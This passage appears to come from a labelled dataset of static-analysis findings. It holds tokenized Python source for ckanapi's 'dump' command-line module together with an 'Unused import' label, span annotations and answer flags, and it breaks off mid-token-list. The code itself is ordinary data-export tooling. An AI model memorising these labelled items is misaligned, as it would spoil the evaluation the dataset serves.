"\\u", "data_", "(_", "self_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "key_", ",_", "value_", "in_", "data_", "._", "items_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "isinstance_", "(_", "value_", ",_", "dict_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "clean", "\\u", "data_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "isinstance_", "(_", "value_", ",_", "(_", "list_", ",_", "tuple_", ")_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "[_", "key_", "]_", "=_", "map_", "(_", "self_", "._", "clean", "\\u", "data_", ",_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "[_", "key_", "]_", "=_", "self_", "._", "convert", "\\u", "value_", "(_", "value_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "data_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Serializer_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "serialize", "\\u", "object_", "(_", "self_", ",_", "obj_", ",_", "fields_", "=_", "None_", ",_", "exclude_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data_", "=_", "get", "\\u", "dictionar", "y", "\\u", "from", "\\u", "model_", "(_", "obj_", ",_", "fields_", ",_", "exclude_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "self_", "._", "clean", "\\u", "data_", "(_", "data_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "class_", "Deserializ", "er_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Deserializ", "er_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "def_", "deserialize", "\\u", "object_", "(_", "self_", ",_", "model_", ",_", "data_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "get", "\\u", "model", "\\u", "from", "\\u", "dictionary_", "(_", "model_", ",_", "data_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
ckan/ckanapi/ckanapi/cli/dump.py
[ { "content": "\"\"\"\nimplementation of dump cli command\n\"\"\"\n\nimport sys\nimport gzip\nimport json\nfrom datetime import datetime\nimport os\nimport requests\n\nfrom ckanapi.errors import (NotFound, NotAuthorized, ValidationError,\n SearchIndexError)\nfrom ckanapi.cli import workers\nfrom ckanapi.cli.utils import completion_stats, compact_json, \\\n quiet_int_pipe, pretty_json\n\nDL_CHUNK_SIZE = 100 * 1024\nDATAPACKAGE_VERSION = '1.0-beta.10'\n\n\n\n\n\n\n\n\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "def dump_things(ckan, thing, arguments,\n worker_pool=None, stdout=None, stderr=None):\n \"\"\"\n dump all datasets, groups, orgs or users accessible by the connected user\n\n The parent process creates a pool of worker processes and hands\n out ids to each worker. Status of last record completed and records\n being processed is displayed on stderr.\n \"\"\"\n if worker_pool is None:\n worker_pool = workers.worker_pool\n if stdout is None:\n stdout = getattr(sys.stdout, 'buffer', sys.stdout)\n if stderr is None:\n stderr = getattr(sys.stderr, 'buffer', sys.stderr)\n\n if arguments['--worker']:\n return dump_things_worker(ckan, thing, arguments)\n\n log = None\n if arguments['--log']:\n log = open(arguments['--log'], 'a')\n\n jsonl_output = stdout\n if arguments['--datapackages']: # TODO: do we want to just divert this to devnull?\n jsonl_output = open(os.devnull, 'wb')\n if arguments['--output']:\n jsonl_output = open(arguments['--output'], 'wb')\n if arguments['--gzip']:\n jsonl_output = gzip.GzipFile(fileobj=jsonl_output)\n if arguments['--all']:\n get_thing_list = {\n 'datasets': 'package_list',\n 'groups': 'group_list',\n 'organizations': 'organization_list',\n 'users': 'user_list',\n 'related' :'related_list',\n }[thing]\n names = ckan.call_action(get_thing_list, {})\n\n else:\n names = arguments['ID_OR_NAME']\n\n if names and isinstance(names[0], dict):\n names = [rec.get('name',rec.get('id')) for rec in names]\n\n cmd = _worker_command_line(thing, arguments)\n processes = int(arguments['--processes'])\n if hasattr(ckan, 'parallel_limit'):\n # add your sites to ckanapi.remoteckan.MY_SITES instead of removing\n processes = min(processes, ckan.parallel_limit)\n stats = completion_stats(processes)\n pool = worker_pool(cmd, processes,\n enumerate(compact_json(n) + b'\\n' for n in names))\n\n results = {}\n expecting_number = 0\n with quiet_int_pipe() as errors:\n for job_ids, finished, result in pool:\n if not result:\n # child exited with traceback\n return 1\n timestamp, error, record = json.loads(result.decode('utf-8'))\n results[finished] = record\n\n if not arguments['--quiet']:\n stderr.write('{0} {1} {2} {3} {4}\\n'.format(\n finished,\n job_ids,\n next(stats),\n error,\n record.get('name', '') if record else '',\n ).encode('utf-8'))\n\n if log:\n log.write(compact_json([\n timestamp,\n finished,\n error,\n record.get('name', '') if record else None,\n ]) + b'\\n')\n\n datapackages_path = arguments['--datapackages']\n if datapackages_path:\n create_datapackage(record, datapackages_path, stderr)\n\n # keep the output in the same order as names\n while expecting_number in results:\n record = results.pop(expecting_number)\n if record:\n # sort keys so we can diff output\n jsonl_output.write(compact_json(record,\n sort_keys=True) + b'\\n')\n expecting_number += 1\n if 'pipe' in errors:\n return 1\n if 'interrupt' in errors:\n return 2", "metadata": "root.dump_things", "header": "['module', '___EOS___']", "index": 21 }, { "content": "def dump_things_worker(ckan, thing, arguments,\n stdin=None, stdout=None):\n \"\"\"\n a process that accepts names on stdin which are\n passed to the {thing}_show actions. it produces lines of json\n which are the responses from each action call.\n \"\"\"\n if stdin is None:\n stdin = getattr(sys.stdin, 'buffer', sys.stdin)\n # hack so that pdb can be used in extension/ckan\n # code called by this worker\n try:\n sys.stdin = open('/dev/tty', 'rb')\n except IOError:\n pass\n if stdout is None:\n stdout = getattr(sys.stdout, 'buffer', sys.stdout)\n # hack so that \"print debugging\" can work in extension/ckan\n # code called by this worker\n sys.stdout = sys.stderr\n\n thing_show = {\n 'datasets': 'package_show',\n 'groups': 'group_show',\n 'organizations': 'organization_show',\n 'users': 'user_show',\n 'related':'related_show'\n }[thing]\n\n def reply(error, record=None):\n \"\"\"\n format messages to be sent back to parent process\n \"\"\"\n stdout.write(compact_json([\n datetime.now().isoformat(),\n error,\n record]) + b'\\n')\n stdout.flush()\n\n for line in iter(stdin.readline, b''):\n try:\n name = json.loads(line.decode('utf-8'))\n except UnicodeDecodeError as e:\n reply('UnicodeDecodeError')\n continue\n\n try:\n obj = ckan.call_action(thing_show, {'id': name,\n 'include_datasets': False,\n 'include_password_hash': True,\n })\n reply(None, obj)\n except NotFound:\n reply('NotFound')\n except NotAuthorized:\n reply('NotAuthorized')", "metadata": "root.dump_things_worker", "header": "['module', '___EOS___']", "index": 121 }, { "content": "def create_datapackage(record, base_path, stderr):\n # TODO: how are we going to handle which resources to\n # leave alone? They're very inconsistent in some instances\n # And I can't imagine anyone wants to download a copy\n # of, for example, the API base endpoint\n resource_formats_to_ignore = ['API', 'api']\n dataset_name = record.get('name', '') if record else ''\n\n target_dir = '{base_path}/{name}/data'.format(\n base_path=base_path,\n name=dataset_name)\n\n try:\n os.makedirs(target_dir)\n except Exception as e:\n stderr.write(e.message)\n\n for resource in record.get('resources', ''):\n if resource.get('name') is not None:\n resource_id = resource['name']\n else:\n resource_id = resource['id']\n\n resource_filename = os.path.split(resource['url'])[1]\n\n output = os.path.join(target_dir, resource_filename)\n\n # Resources can have a free-form address and no internal info, so in those cases\n # we're going to merely save them using the UID. (If they even exist)\n if output.endswith('/'):\n output = os.path.join(output, resource_id)\n\n resource['path'] = 'data' + output[len(target_dir):]\n\n try:\n if resource['format'] not in resource_formats_to_ignore:\n r = requests.get(resource['url'], stream=True)\n with open(output, 'wb') as f:\n for chunk in r.iter_content(chunk_size=DL_CHUNK_SIZE):\n if chunk: # filter out keep-alive new chunks\n f.write(chunk)\n f.flush()\n except requests.ConnectionError:\n stderr.write('URL {url} refused connection. The resource will not be downloaded\\n'.format(url=resource['url']))\n except requests.exceptions.RequestException as e:\n stderr.write(e.message)\n stderr.write('\\n')\n\n json_output_name = '{base_path}/{dataset_name}/datapackage.json'.format(\n base_path=base_path, dataset_name=dataset_name)\n with open(json_output_name, 'wb') as out:\n out.write(pretty_json(dict(record, version=DATAPACKAGE_VERSION)))", "metadata": "root.create_datapackage", "header": "['module', '___EOS___']", "index": 179 }, { "content": "def _worker_command_line(thing, arguments):\n \"\"\"\n Create a worker command line suitable for Popen with only the\n options the worker process requires\n \"\"\"\n def a(name):\n \"options with values\"\n return [name, arguments[name]] * (arguments[name] is not None)\n def b(name):\n \"boolean options\"\n return [name] * bool(arguments[name])\n return (\n ['ckanapi', 'dump', thing, '--worker']\n + a('--config')\n + a('--ckan-user')\n + a('--remote')\n + a('--apikey')\n + b('--get-request')\n + ['value-here-to-make-docopt-happy']\n )", "metadata": "root._worker_command_line", "header": "['module', '___EOS___']", "index": 233 } ]
[ { "span": "from ckanapi.errors import (NotFound, NotAuthorized, ValidationError,\n SearchIndexError)", "start_line": 11, "start_column": 0, "end_line": 12, "end_column": 21 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\"\"\"", "\\", "10", ";", "implementation", " ", "of", " ", "dump", " ", "cli", " ", "command", "\\", "10", ";\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "gzip_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "datetime_", "import_", "datetime_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "requests_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "ckan", "api_", "._", "errors_", "import_", "(_", "Not", "Found_", ",_", "Not", "Authorized", "_", ",_", "Validat", "ion", "Error_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "Sear", "ch", "Index", "Error_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "ckan", "api_", "._", "cli_", "import_", "workers_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "ckan", "api_", "._", "cli_", "._", "utils_", "import_", "completion", "\\u", "stats_", ",_", "compact", "\\u", "json_", ",_", "quie", "t", "\\u", "int\\u", "pipe_", ",_", "pretty", "\\u", "json_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "DL", "\\u", "CHUNK", "\\u", "SIZE_", "=_", "100_", "*_", "1024_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "DATA", "PACKAG", "E", "\\u", "VERSION_", "=_", "'", "1.0", "-", "beta", ".1", "0", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "def_", "dump", "\\u", "things_", "(_", "ckan", "_", ",_", "thing_", ",_", "arguments_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "worker", "\\u", "pool_", "=_", "None_", ",_", "stdout_", "=_", "None_", ",_", "stderr_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "dump", " ", "all", " ", "dataset", "s", ",", " ", "group", "s", ",", " ", "orgs", " ", "or", " ", "users", " ", "accessible", " ", "by", " ", "the", " ", "connect", "ed", " ", "user", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "parent", " ", "process", " ", "create", "s", " ", "a", " ", "pool", " ", "of", " ", "worker", " ", "process", "es", " ", "and", " ", "hands", "\\", "10", ";", " ", " ", " ", " ", "out", " ", "ids", " ", "to", " ", "each", " ", "worker", ".", " ", "Status", " ", "of", " ", "last", " ", "record", " ", "complete", "d", " ", "and", " ", "record", "s", "\\", "10", ";", " ", " ", " ", " ", "bei", "ng", " ", "process", "ed", " ", "is", " ", "displaye", "d", " ", "on", " ", "std", "err", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "worker", "\\u", "pool_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "worker", "\\u", "pool_", "=_", "workers_", "._", "worker", "\\u", "pool_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "stdout_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "stdout_", "=_", "getattr_", "(_", "sys_", "._", "stdout_", ",_", "'", "buffer", "'_", ",_", "sys_", "._", "stdout_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "stderr_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "stderr_", "=_", "getattr_", "(_", "sys_", "._", "stderr_", ",_", "'", "buffer", "'_", ",_", "sys_", "._", "stderr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "arguments_", "[_", "'--", "worker", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "dump", "\\u", "thing", "s", "\\u", "worker_", "(_", "ckan", "_", ",_", "thing_", ",_", "arguments_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "log_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "arguments_", "[_", "'--", "log", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "=_", "open_", "(_", "arguments_", "[_", "'--", "log", "'_", "]_", ",_", "'", "a", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "jsonl", "\\u", "output_", "=_", "stdout_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "arguments_", "[_", "'--", "datap", "ack", "age", "s", "'_", "]_", ":_", "#", " ", "TOD", "O", ":", " ", "do", " ", "we", " ", "want", " ", "to", " ", "just", " ", "dive", "rt", " ", "this", " ", "to", " ", "devn", "ull", "?", "_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "jsonl", "\\u", "output_", "=_", "open_", "(_", "os_", "._", "devnull_", ",_", "'", "wb", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "arguments_", "[_", "'--", "output", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "jsonl", "\\u", "output_", "=_", "open_", "(_", "arguments_", "[_", "'--", "output", "'_", "]_", ",_", "'", "wb", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "arguments_", "[_", "'--", "gzip", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "jsonl", "\\u", "output_", "=_", "gzip_", "._", "Gz", "ip", "File_", "(_", "fileobj_", "=_", "jsonl", "\\u", "output_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "arguments_", "[_", "'--", "all", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "get", "\\u", "thing", "\\u", "list_", "=_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "dataset", "s", "'_", ":_", "'", "package", "\\u", "list", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "group", "s", "'_", ":_", "'", "group", "\\u", "list", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "organization", "s", "'_", ":_", "'", "organization", "\\u", "list", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "users", "'_", ":_", "'", "user", "\\u", "list", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "relate", "d", "'_", ":_", "'", "relate", "d\\u", "list", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "}_", "[_", "thing_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "names_", "=_", "ckan", "_", "._", "call", "\\u", "action_", "(_", "get", "\\u", "thing", "\\u", "list_", ",_", "{_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "names_", "=_", "arguments_", "[_", "'", "ID", "\\u", "OR", "\\u", "NAME", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "names_", "and_", "isinstance_", "(_", "names_", "[_", "0_", "]_", ",_", "dict_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "names_", "=_", "[_", "rec_", "._", "get_", "(_", "'", "name", "'_", ",_", "rec_", "._", "get_", "(_", "'", "id", "'_", ")_", ")_", "for_", "rec_", "in_", "names_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "cmd_", "=_", "\\u", "worker", "\\u", "command", "\\u", "line_", "(_", "thing_", ",_", "arguments_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "processes_", "=_", "int_", "(_", "arguments_", "[_", "'--", "process", "es", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "hasattr_", "(_", "ckan", "_", ",_", "'", "parall", "el", "\\u", "limit", "'_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "add", " ", "your", " ", "sites", " ", "to", " ", "ckan", "api", ".", "remote", "ckan", ".", "MY", "\\u", "SITE", "S", " ", "inst", "ead", " ", "of", " ", "remo", "ving", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "processes_", "=_", "min_", "(_", "processes_", ",_", "ckan", "_", "._", "parall", "el", "\\u", "limit_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "stats_", "=_", "completion", "\\u", "stats_", "(_", "processes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "pool_", "=_", "worker", "\\u", "pool_", "(_", "cmd_", ",_", "processes_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "enumerate_", "(_", "compact", "\\u", "json_", "(_", "n_", ")_", "+_", "b", "'\\\\", "n", "'_", "for_", "n_", "in_", "names_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "results_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expect", "ing", "\\u", "number_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "quie", "t", "\\u", "int\\u", "pipe_", "(_", ")_", "as_", "errors_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "job", "\\u", "ids_", ",_", "finished_", ",_", "result_", "in_", "pool_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "result_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "child", " ", "exit", "ed", " ", "with", " ", "traceback_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "timestamp_", ",_", "error_", ",_", "record_", "=_", "json_", "._", "loads_", "(_", "result_", "._", "decode_", "(_", "'", "utf", "-", "8", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "results_", "[_", "finished_", "]_", "=_", "record_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "arguments_", "[_", "'--", "quie", "t", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "stderr_", "._", "write_", "(_", "'{", "0", "}", " ", "{", "1", "}", " ", "{", "2", "}", " ", "{", "3", "}", " ", "{", "4", "}\\\\", "n", "'_", "._", "format_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "finished_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "job", "\\u", "ids_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "next_", "(_", "stats_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "error_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "record_", "._", "get_", "(_", "'", "name", "'_", ",_", "''_", ")_", "if_", "record_", "else_", "''_", ",_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "._", "encode_", "(_", "'", "utf", "-", "8", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "log_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "log_", "._", "write_", "(_", "compact", "\\u", "json_", "(_", "[_", "\\u\\u\\uNL\\u\\u\\u_", "timestamp_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "finished_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "error_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "record_", "._", "get_", "(_", "'", "name", "'_", ",_", "''_", ")_", "if_", "record_", "else_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "+_", "b", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "datap", "ack", "age", "s", "\\u", "path_", "=_", "arguments_", "[_", "'--", "datap", "ack", "age", "s", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "datap", "ack", "age", "s", "\\u", "path_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "create", "\\u", "datap", "ack", "age_", "(_", "record_", ",_", "datap", "ack", "age", "s", "\\u", "path_", ",_", "stderr_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "keep", " ", "the", " ", "output", " ", "in", " ", "the", " ", "same", " ", "order", " ", "as", " ", "names_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "while_", "expect", "ing", "\\u", "number_", "in_", "results_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "record_", "=_", "results_", "._", "pop_", "(_", "expect", "ing", "\\u", "number_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "record_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "sort", " ", "keys", " ", "so", " ", "we", " ", "can", " ", "diff", " ", "output_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "jsonl", "\\u", "output_", "._", "write_", "(_", "compact", "\\u", "json_", "(_", "record_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "sort", "\\u", "keys_", "=_", "True_", ")_", "+_", "b", "'\\\\", "n", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "expect", "ing", "\\u", "number_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "pipe", "'_", "in_", "errors_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "'", "interrupt", "'_", "in_", "errors_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "dump", "\\u", "thing", "s", "\\u", "worker_", "(_", "ckan", "_", ",_", "thing_", ",_", "arguments_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "stdin_", "=_", "None_", ",_", "stdout_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "\\", "10", ";", " ", " ", " ", " ", "a", " ", "process", " ", "tha", "t", " ", "accepts", " ", "names", " ", "on", " ", "std", "in", " ", "whi", "ch", " ", "are", "\\", "10", ";", " ", " ", " ", " ", "pass", "ed", " ", "to", " ", "the", " ", "{", "thing", "}\\u", "show", " ", "action", "s", ".", " ", " ", "it", " ", "produce", "s", " ", "lines", " ", "of", " ", "json", "\\", "10", ";", " ", " ", " ", " ", "whi", "ch", " ", "are", " ", "the", " ", "response", "s", " ", "from", " ", "each", " ", "action", " ", "call", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "stdin_", "is_", "None_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", 